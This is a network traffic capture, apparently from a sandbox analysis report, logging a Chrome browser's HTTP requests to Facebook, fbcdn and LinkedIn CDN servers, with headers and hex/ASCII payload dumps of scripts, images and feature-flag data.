2024-04-11 20:35:34 UTC	1632	OUT	GET /ajax/bootloader-endpoint/?modules=CometTooltip_DEPRECATED.react&__aaid=0&__user=0&__a=1&__req=5&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&dpr=1&__ccg=GOOD&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__hsi=7356710875980239076&__dyn=7xeUmwlEnwn8yEqxemh0cm5U4e2O14xt3odEc8co5S3O2Saw8i2S1DwUx609vCwjE1xo4CU7m0yE462mcwfG12wOx61vw9m1YwBgao6C0Mo2swlo5qfK0zEkxe2Gewywuo88brwKxm5oe85nxS3W0GpovU11E98bodEGdwda3e0Lo4q58jwTwNwLwFg2Xwkoqwqo4eE7W1iwGwRxW&__csr=gqMD4nNdiNlb4GSPmIx9QWXheQniJ6jAgGKmHjiV9kAAnrGtBiA-JVpaAVrJ7FA8-WF4KhkFFAimieypmGh9E-ivGUhyQLmdCCK48rGEC9WiBykFqJkpHmHCXpCKUsiyoV1eiegx7GcDyUkJ6Gaye5lBy8Z3E_Gh2fjKh5UjGqU8axWcgkxeaKtGmbwKVUK4EixKUCifwJG7981_U39w15Gjwn81xolxy1lw4nwf60e3w2jo1Io0no809pw5ew2V61Cw7Ew9C0ACEmgoP027o0Hu9w1JWh02t2a5Eow3uyw1fYOxlhRIcw0XOo0_Pxnwg808e80ghw1Bh0o819819o2Ky8622oMW0RU2Fyo2u4a9g1I8W0hp04Hg20J0da3u1kw4jwQy8-EmwyAo1iu1nwo86O1cxl1Gm0s90rQ3y1mxyaz4BV9C0bkg12E1bUoU11wFg1jU5C13wrVj91G6C1OwrU13oGm0u-0Rrwmqo8S0N8ypoF28qgL8ES3a9zp2w7eweG3G6E1bo2zx50Qwip3hshjAixWm3x0DgdYynhR2Ey3q14wsu3e1PwCG5pS0yojwfSpw9W9gOkzLb4xy9zu0Aokxd0ww820eVwfq07_o0Le5FSdwaK0k6kw1sotw8-0XEy3edDw2MUy3K0QUaoHJiZe2mEGtP0Fxu8xu1Vwo81co6qtxy9gO8zU2Dg3e82m3e32660QHf4G5l5oAc0tE2Dwt837w77wLjA8q74uaUAOojwbG04cE0y8wC09M8&__comet_req=15&__spin_r=1012711792&__spin_b=trunk&__spin_t=1712867728 HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	965	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: text/javascript; charset=utf-8 reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:34 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:34 UTC	1505	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:34 UTC	127	IN	Data Raw: 33 36 39 39 0d 0a 66 6f 72 20 28 3b 3b 29 3b 7b 22 68 72 70 22 3a 7b 22 68 73 72 70 22 3a 7b 22 68 73 64 70 22 3a 7b 22 63 6c 70 44 61 74 61 22 3a 7b 22 31 38 32 38 39 34 35 22 3a 7b 22 72 22 3a 31 30 30 2c 22 73 22 3a 31 7d 2c 22 31 38 33 38 31 34 32 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 2c 22 31 37 34 34 31 37 38 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 2c 22 31 38 Data Ascii: 3699for (;;);{"hrp":{"hsrp":{"hsdp":{"clpData":{"1828945":{"r":100,"s":1},"1838142":{"r":1,"s":1},"1744178":{"r":1,"s":1},"18
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 33 37 35 35 39 22 3a 7b 22 72 22 3a 31 7d 2c 22 31 38 34 38 38 31 35 22 3a 7b 22 72 22 3a 31 30 30 30 30 2c 22 73 22 3a 31 7d 2c 22 34 38 38 33 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 7d 2c 22 67 6b 78 44 61 74 61 22 3a 7b 22 32 30 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 37 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 37 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 31 30 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d Data Ascii: 37559":{"r":1},"1848815":{"r":10000,"s":1},"4883":{"r":1,"s":1}},"gkxData":{"209":{"result":false,"hash":null},"20935":{"result":true,"hash":null},"21075":{"result":false,"hash":null},"21076":{"result":true,"hash":null},"21106":{"result":true,"hash":null}
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 6c 7d 2c 22 32 31 31 31 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 32 36 38 31 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 32 39 36 38 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 33 34 33 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 38 36 34 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 38 36 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 33 34 31 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e Data Ascii: l},"21117":{"result":false,"hash":null},"22681":{"result":false,"hash":null},"22968":{"result":false,"hash":null},"23433":{"result":false,"hash":null},"20864":{"result":true,"hash":null},"20865":{"result":true,"hash":null},"23413":{"result":false,"hash":n
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 65 69 67 68 74 22 3a 33 32 7d 2c 22 31 38 37 36 34 31 36 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 43 2f 72 2f 79 46 61 61 79 6c 63 63 5a 35 4c 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 34 38 2c 22 68 65 69 67 68 74 22 3a 34 38 7d 2c 22 31 38 37 36 34 31 38 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6b 2f 72 2f 39 36 47 4a 59 47 62 55 44 43 4a 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 37 32 2c 22 68 65 69 67 68 74 22 3a 37 32 7d 2c 22 31 38 37 36 34 31 39 22 3a 7b 22 Data Ascii: eight":32},"1876416":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yC/r/yFaaylccZ5L.gif","width":48,"height":48},"1876418":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yk/r/96GJYGbUDCJ.gif","width":72,"height":72},"1876419":{"
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 68 22 3a 32 34 2c 22 68 65 69 67 68 74 22 3a 32 34 7d 2c 22 31 38 37 36 34 33 31 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 77 2f 72 2f 36 30 72 39 6f 50 45 76 78 69 4c 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 33 32 2c 22 68 65 69 67 68 74 22 3a 33 32 7d 2c 22 31 38 37 36 34 33 32 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 4d 2f 72 2f 4e 6c 41 46 68 69 45 78 33 61 31 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 34 38 2c 22 68 65 69 67 68 74 22 3a 34 38 7d 2c 22 31 38 37 Data Ascii: h":24,"height":24},"1876431":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yw/r/60r9oPEvxiL.gif","width":32,"height":32},"1876432":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yM/r/NlAFhiEx3a1.gif","width":48,"height":48},"187
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 66 22 2c 22 77 69 64 74 68 22 3a 32 30 2c 22 68 65 69 67 68 74 22 3a 32 30 7d 2c 22 31 38 37 36 34 34 36 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6c 2f 72 2f 67 54 64 6d 37 7a 50 4b 7a 2d 63 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 32 34 2c 22 68 65 69 67 68 74 22 3a 32 34 7d 2c 22 31 38 37 36 34 34 37 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6d 2f 72 2f 6b 64 61 66 74 32 35 31 67 51 5f 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 33 32 2c 22 68 65 69 67 68 74 22 3a Data Ascii: f","width":20,"height":20},"1876446":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yl/r/gTdm7zPKz-c.gif","width":24,"height":24},"1876447":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/ym/r/kdaft251gQ_.gif","width":32,"height":
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 48 5a 57 2d 62 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 36 34 2c 22 68 65 69 67 68 74 22 3a 36 34 7d 2c 22 31 39 34 30 35 31 30 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 4b 2f 72 2f 38 67 50 4e 38 77 42 44 39 79 42 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 36 34 2c 22 68 65 69 67 68 74 22 3a 36 34 7d 2c 22 31 39 34 30 35 31 31 22 3a 7b 22 73 70 72 69 74 65 64 22 3a 30 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 47 2f 72 2f 57 74 4b 5f 75 35 31 74 33 6e 4d 2e 67 69 66 22 2c 22 77 69 64 74 68 22 3a 36 34 2c 22 Data Ascii: HZW-b.gif","width":64,"height":64},"1940510":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yK/r/8gPN8wBD9yB.gif","width":64,"height":64},"1940511":{"sprited":0,"uri":"https://static.xx.fbcdn.net/rsrc.php/v3/yG/r/WtK_u51t3nM.gif","width":64,"
2024-04-11 20:35:34 UTC	1500	IN	Data Raw: 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 36 34 30 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 33 38 36 22 2c 5b 22 63 6c 65 61 72 54 69 6d 65 6f 75 74 57 57 57 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 63 6c 65 61 72 54 69 6d 65 6f 75 74 57 57 57 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 33 39 30 22 2c 5b 22 73 65 74 54 69 6d 65 6f 75 74 57 57 57 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 73 65 74 54 69 6d 65 6f 75 74 57 57 57 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 34 35 31 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 36 34 33 33 32 22 2c Data Ascii: ,[],{"__rc":[null,null]},-1],["cr:6640",[],{"__rc":[null,null]},-1],["cr:7386",["clearTimeoutWWW"],{"__rc":["clearTimeoutWWW",null]},-1],["cr:7390",["setTimeoutWWW"],{"__rc":["setTimeoutWWW",null]},-1],["cr:7451",[],{"__rc":[null,null]},-1],["cr:1064332",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	49979	31.13.71.7	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	607	OUT	GET /v/t39.30808-6/434402861_977701610421459_6880091748567335012_n.jpg?stp=c71.0.154.154a_dst-jpg_p296x100&_nc_cat=108&ccb=1-7&_nc_sid=5f2048&_nc_ohc=kXLmUCdhYxsAb4iEjaH&_nc_ht=scontent-lga3-1.xx&oh=00_AfARRBcvMDDBFsm5yvE56fykVe6lS6PvAygGzPU5Y-GOYA&oe=661E1968 HTTP/1.1 Host: scontent-lga3-1.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	659	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Tue, 02 Apr 2024 13:25:07 GMT X-Needle-Checksum: 3731260742 thrift_fmhk: GBCH7XTmxM1JsG0vO/4VBDRZFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=3252946279 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:34 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 4937
2024-04-11 20:35:34 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:34 UTC	4936	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 01 82 98 00 02 00 00 00 4a 00 00 00 1a 00 00 00 00 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 35 20 4c 65 6d 61 75 20 53 74 75 64 69 6f 2f 53 68 75 74 74 65 72 73 74 6f 63 6b 2e 20 20 4e 6f 20 75 73 65 20 77 69 74 68 6f 75 74 20 70 65 72 6d 69 73 73 69 6f 6e 2e 00 ff e1 01 a6 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 58 4d 50 20 43 6f 72 65 20 34 2e 34 2e 30 2d 45 78 69 76 32 22 3e 0a 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 Data Ascii: JFIFlExifMM*JCopyright (c) 2015 Lemau Studio/Shutterstock. No use without permission.http://ns.adobe.com/xap/1.0/<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	49976	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	375	OUT	GET /rsrc.php/v3/yS/r/mdW2sCYlZBe.png HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1634	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: Xg2ktLOiPVlQOWcVgFYX9A== Expires: Thu, 10 Apr 2025 16:35:30 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: 3Ig8nE3WnFnT7fs/bUWXEIseIfaky81z7XmOROaNHlJdHbXHS9bMJ8EhZd3QPxzIP0ervnht8MrlSOj8dD8G/w== Date: Thu, 11 Apr 2024 20:35:34 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 7156
2024-04-11 20:35:34 UTC	1	IN	Data Raw: 89 Data Ascii:
2024-04-11 20:35:34 UTC	7155	IN	Data Raw: 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 bd 00 00 00 b1 08 03 00 00 00 a6 cb 4c 79 00 00 02 fd 50 4c 54 45 47 70 4c 00 00 00 02 02 02 00 00 00 06 06 06 00 00 00 00 00 00 08 08 08 00 00 00 03 03 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 02 00 00 00 00 00 00 02 02 02 ff ff ff 01 01 01 05 05 05 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 04 04 04 03 03 03 00 00 00 01 01 01 08 08 08 00 00 00 00 00 00 00 00 00 00 00 00 05 05 05 00 00 00 01 01 01 01 01 01 00 00 00 02 02 02 00 00 00 00 00 00 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 00 00 00 00 00 00 02 02 02 01 01 01 02 02 02 04 04 04 04 04 04 00 00 00 00 00 00 04 04 04 00 00 00 04 04 04 00 00 Data Ascii: PNGIHDRLyPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	49987	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	378	OUT	GET /aero-v1/sc/h/12jn8edunbj0jah6829kj7zs7 HTTP/1.1 Host: static.licdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1072	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 306558 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: text/javascript Date: Thu, 11 Apr 2024 20:35:34 GMT Expires: Thu, 18 Apr 2024 20:35:34 GMT Last-Modified: Wed, 07 Feb 2024 00:05:36 GMT Server: ECAcc (nyd/D117) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 279801 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0013040152; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 00061590b8983e69b8f58d46a06a7ca3 X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkLiYPmm49Y1GoGp8ow== Content-Length: 279801 Connection: close
2024-04-11 20:35:34 UTC	15330	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6c 65 74 20 65 3b 63 6f 6e 73 74 20 74 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 31 36 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 69 66 28 21 65 26 26 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 63 72 79 70 74 6f 26 26 63 72 79 70 74 6f 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 26 26 63 72 79 70 74 6f 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 2e 62 69 6e 64 28 63 72 79 70 74 6f 29 2c 21 65 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 63 72 79 70 74 6f 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 29 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 20 53 65 65 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 75 75 Data Ascii: !function(){"use strict";let e;const t=new Uint8Array(16);function n(){if(!e&&(e="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!e))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uu
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 74 20 70 72 6f 64 75 63 74 4e 61 6d 65 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 70 72 6f 64 75 63 74 4e 61 6d 65 7d 67 65 74 20 63 75 73 74 6f 6d 54 72 61 63 6b 69 6e 67 49 64 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 63 75 73 74 6f 6d 54 72 61 63 6b 69 6e 67 49 64 7d 67 65 74 20 63 6c 69 65 6e 74 53 65 6e 73 6f 72 47 72 6f 75 70 4e 61 6d 65 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 63 6c 69 65 6e 74 53 65 6e 73 6f 72 47 72 6f 75 70 4e 61 6d 65 7d 67 65 74 20 73 68 6f 75 6c 64 44 69 73 61 62 6c 65 41 76 61 69 6c 61 62 69 6c 69 74 79 43 61 6c 63 75 6c 61 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 73 68 6f 75 6c 64 44 69 73 61 